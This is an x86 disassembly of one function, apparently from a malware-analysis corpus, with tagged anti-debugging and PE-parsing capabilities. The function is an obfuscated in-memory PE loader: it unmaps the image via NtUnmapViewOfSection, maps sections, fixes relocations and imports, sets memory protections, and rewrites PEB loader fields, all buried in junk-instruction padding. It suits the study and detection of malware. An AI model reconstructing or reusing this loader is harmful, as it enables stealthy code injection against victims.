Function at 0x408000
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
push ebx
push esi
push edi
or eax, 0x58
rol edi, 0x9d
bswap eax
sub edi, 0x95
inc edi
or edi, 0x4b
sbb edi, 0xee
rol eax, 0xa
and esi, 0x11
sbb edi, 0x8f
dec ebx
sbb ebx, 0x4d
and ebx, 0x76
or eax, 0x9f
not esi
bswap ebx
imul eax
sbb edx, 0xcf
rcr ebx, 0x69
inc edi
sub ebx, 0x7b
inc eax
mov eax, 0xd2
sub edx, 0xbf
neg edx
dec edi
neg esi
add ebx, 0xbe
bswap ebx
not ebx
inc edi
sub eax, 0x9f
add eax, 0xb2
add edx, 0x3c
inc eax
add eax, 0x8a
dec eax
or esi, 0xdc
dec eax
neg ebx
rcl esi, 0xcf
rcl edi, 0x58
inc eax
bswap esi
bswap eax
imul edi
sbb eax, 0xe2
rcl eax, 0xf3
mov ebx, 0x8d
neg esi
imul edx
bswap ebx
sub edx, 0xa2
add eax, 0xf
imul esi
inc edi
rcr edx, 0xc8
rcr edx, 0xd2
bswap edi
bswap eax
imul eax
neg eax
dec edi
sub edx, 0x69
imul edx
mov eax, 0xbd
neg esi
inc edi
dec esi
rcl edi, 0xf
not edx
rol ebx, 0x6b
imul ebx
neg edi
sbb edi, 0x93
rcl ebx, 0x1c
inc edx
not esi
not eax
inc ebx
sub esi, 0x1c
rol edx, 0xd0
sbb edx, 0xbf
sub edi, 0xf1
inc eax
imul esi
neg ebx
mov ebx, 2
and eax, 0xe1
add edx, 0xf8
dec ebx
rol esi, 0xdf
mov eax, 0x13
not edx
inc edx
imul esi
rcr edi, 9
bswap ebx
add edx, 0x38
rcr eax, 0x8e
rcl ebx, 0x88
neg esi
bswap esi
neg eax
or eax, 0x32
mov ebx, 0xf7
sbb edi, 0x79
not eax
and edx, 0xcc
bswap eax
not ebx
neg edx
rol esi, 0x2c
bswap eax
dec edx
inc edi
not eax
imul ebx
sub ebx, 0xfd
inc eax
rcr edx, 0x1c
inc edi
mov esi, 0xe
inc esi
dec esi
neg edx
inc ebx
or esi, 0xce
dec ebx
add edx, 4
rcl ebx, 0x15
rcl esi, 0x91
sub eax, 0x54
dec esi
sbb edx, 0x6a
mov esi, 0xa9
imul eax
sub esi, 0x18
not esi
dec ebx
ror edx, 0x8f
or edx, 0xbf
dec edi
dec ebx
ror eax, 0xb6
neg eax
inc esi
sub edi, 0x9d
dec edx
or ebx, 0x3d
rol edx, 0xa4
dec ebx
rcr edi, 0xc6
neg edx
inc ebx
dec ebx
inc eax
ror edi, 0x1a
add eax, 0xa8
bswap eax
rcl eax, 0xc0
sbb edx, 0x51
inc edx
ror edi, 0x68
rcr edi, 2
inc edi
not esi
neg edx
and edx, 0
sub esi, 0xd8
bswap eax
sbb eax, 0x9c
dec esi
sub ebx, 0x7e
and esi, 6
rcl ebx, 0x78
rcr edi, 0x55
or edx, 0xf7
mov edx, 0xd3
rcl edx, 0x7f
and eax, 0xbd
neg edi
mov edx, 0x11
mov esi, 0xa1
neg esi
mov ebx, 0x94
and esi, 0x19
neg edx
rol eax, 0x67
mov edi, 0x93
inc esi
add edx, 0xcb
neg esi
imul eax
sbb edx, 0x3f
ror ebx, 0x65
imul edx
not eax
add eax, 0x7e
sub ebx, 0x3e
push 0x50800
push 0x40d008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40d008
mov ebx, 0x9a
inc eax
inc edi
add eax, 0xae
dec edx
inc ebx
inc edx
ror esi, 0xf3
or eax, 0x52
ror esi, 0xf
mov edx, 0xfb
add edx, 0xfc
or ebx, 0x79
sbb edi, 0xca
sbb eax, 0xb9
neg eax
sbb edx, 0xaf
rcr ebx, 0x94
rcl esi, 0x47
dec esi
add ebx, 0x9f
not eax
rcl esi, 0xc3
or edx, 0xf9
imul ebx
rol eax, 0x4e
rol edi, 0x27
rcl edx, 0x2d
neg ebx
or esi, 0xb5
imul eax
rcr edi, 0x1c
add edx, 0xf9
mov edi, 0xaf
sbb ebx, 0x43
sbb ebx, 0x9b
neg eax
rcl edx, 0x93
imul ebx
not edx
sbb edi, 0x63
not esi
rol edx, 0xab
sbb edx, 0x1f
not ebx
inc eax
add edx, 0xf1
sub edi, 0xb3
not edx
sbb ebx, 0x9f
mov eax, dword [ebp + 8]
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x88]
cmp dword [eax], 0x4550
je 0x408334
mov eax, 1
jmp 0x4099dc
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jne 0x408361
xor eax, eax
jmp 0x4099dc
mov ecx, dword [ebp - 0xf8]
mov dword [0x45e460], ecx
xor edx, edx
mov dword [ebp - 0x174], edx
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x16c], edx
mov dword [ebp - 0x168], edx
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0x170]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0x16c]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xe8], eax
push 0x44
push 0
lea ecx, [ebp - 0x1b8]
push ecx
call fcn.004015d0
add esp, 0xc
mov ecx, 0x11
lea esi, [ebp - 0x1b8]
lea edi, [ebp - 0xd8]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xd8], 0x44
mov edx, dword [ebp - 0x88]
mov eax, dword [edx + 0xa0]
mov ecx, dword [edx + 0xa4]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], ecx
cmp dword [ebp - 0x110], 0
je 0x40841a
mov dword [ebp - 0x1bc], 0
jmp 0x408429
mov edx, dword [ebp - 0x88]
mov eax, dword [edx + 0x34]
mov dword [ebp - 0x1bc], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x88]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x110], 0
jne 0x408471
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
cmp edx, dword [ecx + 0x34]
je 0x408471
mov eax, 2
jmp 0x4099dc
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [0x45e460]
add esi, 0x99
and edx, 0x44
sbb edx, 0x91
sub eax, 0xe
bswap esi
sub edi, 0xb0
bswap eax
neg ebx
add edx, 0xa4
rcl ebx, 0xa8
rcl esi, 0xdb
or edi, 0x9b
imul ebx
not edx
imul esi
bswap edx
neg esi
dec edx
or ebx, 0x84
and esi, 0x14
and eax, 0xf9
neg edx
ror eax, 0x59
sub esi, 0x4f
ror edi, 0xcd
mov esi, 0xb
dec edi
or edx, 0xa4
mov edx, 0x53
bswap esi
inc esi
or esi, 0xf0
inc esi
neg ebx
rcl edx, 0x63
sub edi, 0x47
and edx, 0xa5
sbb esi, 0xd7
rcr esi, 0x34
rol edi, 0x61
bswap eax
not edi
rcl edx, 0x48
dec ebx
dec esi
or eax, 0xf0
sbb eax, 0x7d
sub ebx, 0x71
add ebx, 0xd1
and edx, 0x4c
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x84]
push eax
call fcn.00401260
add esp, 0xc
add eax, 0x9b
inc eax
neg edi
not esi
dec ebx
dec esi
not ebx
inc edi
rcl edi, 0x85
rcl edi, 0xa9
dec edi
rcl edx, 0xa1
rcr esi, 0x77
inc esi
rcl edx, 3
sbb esi, 0xff
not eax
add eax, 0xa4
dec eax
rcr ebx, 0xf9
and edi, 0xf5
bswap edx
inc esi
ror ebx, 0xd0
inc ebx
neg edi
inc eax
mov ebx, 0xa4
bswap edi
imul eax
rol edi, 0xf2
sub esi, 0xff
rol ebx, 4
mov edi, 0x26
not edx
inc edi
not ebx
neg edx
and edi, 0x85
sub ebx, 0x89
rol edi, 0xb1
or edx, 0xb0
imul edx
not edi
inc eax
rcl ebx, 0x1e
inc ebx
inc esi
not eax
neg edx
rol esi, 0x67
neg edi
bswap ebx
rcr esi, 0xe6
not esi
rcr ebx, 0xb1
rol ebx, 0x94
add edx, 0x6f
and ebx, 0x84
dec edi
rcr edi, 0xd5
mov edx, 0x5e
or esi, 0xe1
neg esi
mov eax, 0xbf
not esi
imul edi
neg ebx
not edx
neg ebx
neg edi
mov esi, 0xb4
rol edx, 0x58
mov edx, 0x78
not eax
bswap ebx
rcl edi, 0x55
rcl eax, 0x46
not eax
or edx, 0x7c
or edi, 0xf8
and ebx, 0x88
add esi, 0x98
imul eax
and eax, 0x11
sub esi, 0x44
and edi, 0xa9
rol eax, 0x1f
sbb edi, 0x73
mov ebx, 0xc6
and eax, 0x74
imul edi
and edx, 0
dec esi
sbb eax, 0x11
imul ebx
and edx, 0xf7
imul eax
rcl eax, 0x4c
ror edi, 0x59
or edx, 0x74
bswap ebx
mov esi, 0x73
not edi
rol eax, 0x8d
sbb esi, 0x71
neg esi
rcr edx, 6
neg esi
dec edi
add esi, 0x7e
add edi, 0xd8
neg edi
mov eax, 0x87
imul edx
rol esi, 0xaa
mov edi, 0x8d
imul edx
rol ebx, 0x7e
add esi, 0x4e
and ebx, 0xe
or edx, 0x6c
sbb eax, 0x7c
neg ebx
rcl edi, 0x86
rcl esi, 0xc6
bswap eax
dec esi
mov esi, 0x66
rcl edi, 0x43
dec edx
inc eax
or esi, 0x2e
mov ebx, 0x1f
or edx, 0x18
and ebx, 0x72
bswap edx
dec eax
bswap edx
inc eax
dec esi
and esi, 0x67
sub ebx, 0x74
rol ebx, 5
neg edx
rol esi, 0xba
mov ebx, 0x76
not edi
and edi, 0x48
not eax
or esi, 0x83
or edx, 0xa5
imul edx
neg eax
neg edi
inc esi
rol ebx, 0x2a
or edi, 0xce
add esi, 0x97
or edi, 0x9c
rcl edi, 0x4b
rol ebx, 0xeb
mov esi, 0x34
rcl edx, 0xf2
mov eax, 0xe6
rol ebx, 0xe7
or ebx, 0x6d
inc eax
rcl edi, 0xc7
imul ebx
add ebx, 0x6e
or esi, 0x1c
and edx, 0x9f
or edi, 0xff
sub edx, 0x84
rcl edi, 0xd4
rcr ebx, 0x61
neg ebx
sbb edx, 0xcc
inc esi
rcr edx, 0xc7
rol edx, 0xf0
rol edx, 0x5a
neg eax
mov eax, 0x30
neg eax
imul edx
mov esi, 0x9c
rcl edi, 0x7e
bswap eax
mov eax, 0xb
mov edi, 0x2d
mov edx, 0x7a
inc ebx
sbb esi, 0xf9
dec edi
imul edi
sub ebx, 0x7c
rcl edi, 0x7f
and edi, 0x2d
sbb esi, 0x7d
mov esi, 0xe9
mov esi, 0x84
neg edx
neg edx
inc edx
inc esi
bswap edx
neg esi
and esi, 0x51
rcl esi, 0x38
inc eax
imul esi
and ebx, 0x45
and ebx, 0x13
sub esi, 0x66
inc edx
sbb eax, 0x6c
sub edi, 0xc
rcl eax, 0x2b
dec esi
sbb ebx, 0x92
not edx
rcl edi, 0x6a
neg ebx
inc edx
rcr eax, 0x72
sub edx, 0xce
add eax, 0x64
rcl edi, 0x33
sub ebx, 0xa9
rol edi, 0xbc
add eax, 0x60
dec edx
rol eax, 0x5f
rcl esi, 0xcd
neg ebx
bswap esi
or edx, 0x2b
add ebx, 0xb5
not edx
imul edi
imul ebx
ror eax, 0x88
not edx
sub esi, 1
sbb esi, 0x78
ror edi, 0x97
imul eax
or esi, 0xad
mov ecx, dword [ebp - 0x88]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x88]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0xe0], ecx
mov dword [ebp - 0x120], 0
jmp 0x408861
mov edx, dword [ebp - 0x120]
add edx, 1
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x88]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x120], ecx
jge 0x4088c2
mov edx, dword [ebp - 0x120]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0x120]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0x120]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401260
add esp, 0xc
jmp 0x408852
neg eax
add esi, 0xb8
not ebx
add esi, 0x42
neg edx
inc eax
rcr eax, 0xa4
inc eax
bswap eax
dec edi
add edi, 0x26
inc eax
mov esi, 0x74
not edx
not eax
imul eax
and ebx, 0x22
inc edx
or esi, 0xe0
inc ebx
ror eax, 5
neg ebx
and edi, 0x82
add edi, 0x2d
sub edi, 0x2b
inc esi
imul ebx
or edx, 0xac
imul edi
sub eax, 0x42
dec edx
or eax, 0x87
sbb edx, 0xc4
sub eax, 0xd1
sub ebx, 0xd9
neg eax
bswap esi
dec esi
ror eax, 0x96
dec eax
imul ebx
neg ebx
sbb ebx, 0xf
imul edi
dec edx
imul esi
dec edi
and eax, 4
dec esi
rcr eax, 0xf0
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
cmp eax, dword [edx + 0x34]
je 0x408a7b
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x114]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x12c], 0
mov ecx, dword [ebp - 0x12c]
cmp ecx, dword [ebp - 0x110]
jae 0x408a7b
mov edx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x84]
add eax, dword [edx]
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x124]
add eax, 8
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x13c], 0
jmp 0x4089f0
mov ecx, dword [ebp - 0x13c]
add ecx, 1
mov dword [ebp - 0x13c], ecx
mov edx, dword [ebp - 0x13c]
cmp edx, dword [ebp - 0x134]
jge 0x408a55
mov eax, dword [ebp - 0x138]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x408a44
mov edx, dword [ebp - 0x138]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0x130]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x138]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0x130]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0x138]
add ecx, 2
mov dword [ebp - 0x138], ecx
jmp 0x4089e1
mov edx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x12c]
add eax, dword [edx + 4]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x124], ecx
jmp 0x40898c
not edx
imul eax
mov ebx, 0xa2
imul eax
mov esi, 0x1e
or edx, 0x94
not edi
add esi, 0xa3
rol edi, 0xd5
mov edi, 0xf7
rcl ebx, 0xd8
imul esi
sbb eax, 0xf3
ror esi, 0x5c
rol esi, 0x49
bswap edx
neg esi
neg edi
inc edi
add eax, 8
or edx, 0x8d
inc esi
rol ebx, 0xff
or eax, 0x5f
and edi, 0x2d
dec ebx
imul eax
not edi
sbb ebx, 0xaa
bswap edi
inc edx
sub edx, 0x8b
bswap esi
or edi, 0x29
sub eax, 0xd4
bswap edi
not edx
rcl eax, 0x60
mov edx, 0xdf
imul edx
and ebx, 2
add edx, 0xae
rol edx, 0xf1
sub esi, 0xcc
add edx, 0xfd
rol esi, 0x3a
add eax, 0xd6
imul ebx
rcr esi, 0x6b
imul esi
rcr ebx, 8
bswap ebx
neg esi
bswap edi
and ebx, 0x5e
inc edi
imul eax
sub esi, 0xc9
sbb eax, 0x8f
add eax, 1
dec eax
bswap ebx
neg esi
dec eax
or ebx, 0xc7
and ebx, 0xb9
neg edx
dec ebx
neg edx
bswap ebx
imul edi
rcl esi, 0x2d
imul ebx
imul eax
not ebx
bswap esi
dec ebx
rcl ebx, 0x1b
bswap eax
neg edx
sub edi, 0xc
sbb eax, 0xb9
not edx
ror ebx, 0x43
mov edx, 0x5a
sbb esi, 0x3c
mov eax, 0x70
mov eax, 0xd6
dec eax
inc esi
or ebx, 0x6d
bswap esi
imul eax
inc eax
add ebx, 0xfe
mov eax, 0xa2
mov eax, 0xda
not ebx
not edi
rol edi, 0xba
not esi
or ebx, 0x98
rcl edx, 0x33
dec edx
neg ebx
not edx
dec eax
bswap edi
neg ebx
dec eax
rcr edi, 0x96
imul esi
bswap edx
mov ebx, 0xcd
rol esi, 8
ror ebx, 0xfb
not edi
dec edi
neg edx
ror eax, 0xaf
not edx
sbb ebx, 0xac
mov ebx, 0x95
rol edi, 0xfe
dec eax
sub edx, 0x97
rcr edi, 2
ror edi, 0xcc
rcl eax, 0xc8
inc ebx
add edx, 0xf5
neg esi
mov edi, 0xa5
dec eax
imul edx
add ebx, 0x48
bswap edi
dec edi
dec edi
rcl esi, 0xa2
not edi
ror edx, 0xb2
and esi, 0xdf
rcr eax, 0x95
not eax
neg esi
dec edx
rcl esi, 0x13
dec esi
sbb eax, 0x9c
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x140], 0
jmp 0x408c63
mov ecx, dword [ebp - 0x140]
add ecx, 1
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x140]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xe4]
cmp dword [eax + edx + 0x10], 0
je 0x408da1
mov ecx, dword [ebp - 0x140]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x84]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
jne 0x408cba
jmp 0x408c54
mov edx, dword [ebp - 0x140]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x150], 0
jmp 0x408cf4
mov edx, dword [ebp - 0x150]
add edx, 1
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x148]
cmp dword [ecx + eax*4], 0
je 0x408d9c
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x158], ecx
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x148]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jne 0x408d6f
mov eax, dword [ebp - 0x158]
add eax, 2
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x154], eax
mov edx, dword [ebp - 0x140]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x154]
mov dword [ecx + edx*4], eax
jmp 0x408ce5
jmp 0x408c54
mov dword [ebp - 0x15c], 0
jmp 0x408dbc
mov ecx, dword [ebp - 0x15c]
add ecx, 1
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x88]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x15c], eax
jge 0x408eda
mov dword [ebp - 0x160], 0x40
mov ecx, dword [ebp - 0x15c]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0xe0]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
and ecx, 0x40000000
je 0x408e2a
mov edx, dword [ebp - 0x164]
and edx, 0x80000000
je 0x408e2a
mov eax, dword [ebp - 0x164]
and eax, 0x20000000
je 0x408e2a
mov dword [ebp - 0x160], 0x40
jmp 0x408e91
mov ecx, dword [ebp - 0x164]
and ecx, 0x40000000
je 0x408e52
mov edx, dword [ebp - 0x164]
and edx, 0x80000000
je 0x408e52
mov dword [ebp - 0x160], 4
jmp 0x408e91
mov eax, dword [ebp - 0x164]
and eax, 0x40000000
je 0x408e79
mov ecx, dword [ebp - 0x164]
and ecx, 0x20000000
je 0x408e79
mov dword [ebp - 0x160], 0x20
jmp 0x408e91
mov edx, dword [ebp - 0x164]
and edx, 0x40000000
je 0x408e91
mov dword [ebp - 0x160], 2
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [ebp - 0x160]
push ecx
mov edx, dword [ebp - 0x15c]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x15c]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401240
add esp, 0x10
jmp 0x408dad
sub esi, 0x4c
sbb esi, 0x60
add ebx, 0x34
inc ebx
rol esi, 0xf8
add edx, 0xc
inc edx
imul esi
imul edx
sub edx, 0x2c
dec esi
mov esi, 0x64
neg edi
not esi
bswap ebx
rcl edi, 0xf2
rol eax, 0x4e
bswap eax
neg edi
imul eax
and edx, 0xd1
imul esi
mov ebx, 0xf9
rcr ebx, 0x95
sbb esi, 0x60
add edx, 0x68
add ebx, 0x6b
not edx
rol esi, 0x2a
neg edx
not eax
dec edi
inc ebx
inc esi
bswap edx
and esi, 0xdf
bswap eax
or edx, 0x21
dec eax
add esi, 0x21
inc eax
neg esi
add eax, 0x7b
sub edx, 0xd
rcr edi, 0xc9
ror eax, 0x15
neg eax
bswap edx
imul ebx
dec eax
or ebx, 0x3b
sub eax, 0x5c
sbb eax, 0xca
not edi
ror esi, 0x1d
sub edx, 0x6c
sbb eax, 0x2d
or edx, 0x71
not ebx
and eax, 0x2a
sbb edi, 0xe5
inc esi
mov edx, 0x15
sub edi, 0xa7
neg eax
ror edx, 0x7b
and esi, 7
inc edx
rol eax, 0x85
add edi, 0x2d
inc esi
not esi
bswap edx
imul eax
inc esi
sbb edx, 0x11
imul esi
rcr eax, 0xa8
bswap ebx
dec edi
sub edx, 0x1f
add eax, 0xca
not esi
neg esi
inc eax
bswap ebx
not esi
ror esi, 0x29
or ebx, 0xff
imul edx
imul esi
or edx, 0xce
rcr edx, 0x7b
neg edi
not edi
imul esi
rcr ebx, 0xb0
rcr eax, 0x54
bswap eax
rcl edx, 0x84
rcr eax, 0xe3
mov edi, 0x6d
not edi
and ebx, 0xb7
or esi, 0x6b
not edi
bswap eax
or ebx, 0xbb
not esi
not ebx
rol eax, 0x54
bswap ebx
sbb edx, 0xe3
rcr eax, 7
and eax, 0x46
and edx, 0xd9
dec edx
bswap esi
not eax
inc eax
sbb ebx, 0x49
sub edi, 4
rcl eax, 0xe5
rcr edx, 0x24
rcl edi, 0xd2
dec esi
neg edx
inc edx
or eax, 0x8a
neg edx
inc ebx
neg edi
inc edi
bswap eax
rcr esi, 0x3d
ror edi, 0x7a
imul edx
inc eax
imul esi
rcl edi, 0xca
rol edx, 0x83
bswap ebx
imul esi
not eax
rcr esi, 0xd2
or eax, 0xd
rcr edi, 0x78
ror eax, 0x64
inc ebx
ror esi, 0x99
mov edx, dword fs:[0x30]
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x8c]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0xdc], eax
rcl esi, 0x7a
add esi, 0xd8
sub edi, 0xb5
inc eax
sbb edx, 0xd4
or ebx, 0xd0
bswap eax
rcr ebx, 0xc3
bswap edx
not esi
rcr edx, 0x8d
inc edx
not edx
ror edx, 0xa8
bswap esi
rcr edx, 0x7a
neg edx
bswap ebx
neg edx
rcr ebx, 0x96
bswap eax
sbb edx, 0x68
inc edx
and edx, 0x9c
rcr esi, 0x18
sub ebx, 0x2b
bswap edx
or esi, 0x86
rcr edi, 0xe2
not esi
sbb esi, 0x4d
ror edx, 0xe9
inc ebx
rol esi, 0xed
bswap esi
rol ebx, 0xc7
imul edx
sbb esi, 0x27
inc edx
rcl edi, 0xd3
bswap esi
and edx, 0x98
imul edi
mov esi, 0x4a
bswap edx
imul esi
imul ebx
or eax, 0x5c
ror eax, 0x1e
inc edi
sbb edi, 0xee
and esi, 0x8d
mov ebx, 0xb4
imul edx
and eax, 0xe8
mov edi, 0xa9
neg eax
inc edx
rcl esi, 0
not ebx
rcl eax, 0xf1
sub edx, 0x76
neg eax
and esi, 0x44
bswap ebx
inc edx
and esi, 0x70
not edx
inc ebx
dec esi
mov edi, 0x2a
not ebx
dec esi
rcr edx, 0x3b
not eax
rcr edx, 0xb8
dec esi
rol edi, 0x31
rcl ebx, 4
add esi, 0xeb
dec edx
not edx
bswap edx
sbb edx, 0x63
rcr edx, 0x23
bswap edx
dec esi
imul eax
imul esi
rol edi, 0x13
dec esi
sub esi, 0x56
or esi, 0x1d
sbb esi, 0x4d
mov ebx, 0xa1
imul edi
imul esi
bswap edi
not ebx
not edi
bswap esi
imul esi
mov edx, 0xc7
rol eax, 0xa0
neg edx
and edx, 0x27
add ebx, 0x74
dec edx
sub edi, 0x32
sub esi, 0x5d
sub edx, 0x8a
or ebx, 0xfd
rcr esi, 0xc8
not ebx
inc edx
rol esi, 0xb6
neg edx
neg ebx
rol edi, 0xf6
imul eax
not ebx
rol ebx, 0x51
rcr ebx, 0xd6
dec edx
neg ebx
rol ebx, 0xd5
add ebx, 0xa6
imul eax
rcl ebx, 0x62
bswap edi
dec edi
rol eax, 0x66
sub eax, 0xaa
bswap ebx
sub ebx, 0x68
sub esi, 0x96
imul ebx
neg esi
bswap esi
neg eax
rol edi, 0x4d
sbb edi, 0x10
bswap eax
dec edi
rcr eax, 0x56
sbb esi, 0x4c
mov edi, 0x2e
and esi, 0x9c
rol esi, 0x2e
inc edx
mov ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x84]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x84]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0xdc]
add edx, 0x24
mov dword [ebp - 0xfc], edx
sub edx, 0x97
rcr esi, 0x4f
dec eax
dec eax
ror eax, 0x2d
inc eax
mov edx, 0xdf
not edx
not esi
dec ebx
or edi, 0xbf
dec esi
ror esi, 0xcf
or esi, 0xcf
dec ebx
inc eax
bswap esi
neg edi
imul eax
rcl esi, 0xde
dec eax
dec edi
inc esi
sub edi, 0x60
ror edx, 0xf9
and edx, 0x64
rcr edx, 0x9d
bswap ebx
bswap ebx
dec edi
bswap edx
and esi, 0x62
imul ebx
add edx, 0x17
ror eax, 0x97
rol edx, 0x71
inc eax
rcl edi, 0xd
imul edx
add esi, 0x3a
neg edx
add eax, 0x71
sbb esi, 0xb
or edi, 0x86
and edx, 0xb8
dec ebx
or edx, 0x5c
dec edx
imul ebx
bswap eax
inc ebx
and eax, 0xcb
dec eax
and edx, 0x60
rcl edx, 0xc
or esi, 0x95
bswap edx
not eax
rcr esi, 0x25
dec eax
mov edi, 0x76
inc edi
imul esi
dec edi
add esi, 0x20
rcr esi, 0x78
sub edi, 0x66
not edi
rol edx, 0xc3
dec edi
ror edi, 0x4f
ror eax, 0xbb
add eax, 0x70
dec edx
neg edi
inc edi
bswap edi
rol edi, 0xbd
imul ebx
neg ebx
add edx, 0xe8
rcl edi, 0x27
bswap ebx
dec eax
not esi
inc eax
bswap eax
bswap ebx
inc edi
add esi, 0xdc
sub esi, 0x13
imul ebx
add ebx, 0xaf
not eax
rcr ebx, 5
dec ebx
neg esi
imul eax
neg edx
rcr esi, 0x47
mov esi, 0xdd
and ebx, 0x4c
and eax, 0xa2
dec esi
rcr esi, 1
sub edx, 0x6f
rcr ebx, 0xf5
add esi, 0x98
bswap edx
ror eax, 0x77
not eax
and edx, 0x86
sub ebx, 0xf1
imul ebx
bswap ebx
sub ebx, 0x34
bswap edi
inc ebx
sbb ebx, 0x82
imul edi
bswap edx
rol ebx, 0xe7
imul edx
and eax, 0x93
add edx, 0x4f
sub ebx, 0xc0
imul esi
bswap eax
or edx, 0xab
dec eax
rol edi, 0x3e
not edi
bswap ebx
rcl eax, 0x61
mov esi, 0x79
not esi
bswap edx
rcl edi, 0xeb
dec eax
rcr eax, 0x21
mov ebx, 0xee
rcr edx, 0x70
sbb ebx, 0xe
and esi, 0xf7
ror edi, 0xb3
rcr eax, 0x42
rcr ebx, 0xd2
bswap esi
imul esi
sub edx, 0x56
mov eax, 0x43
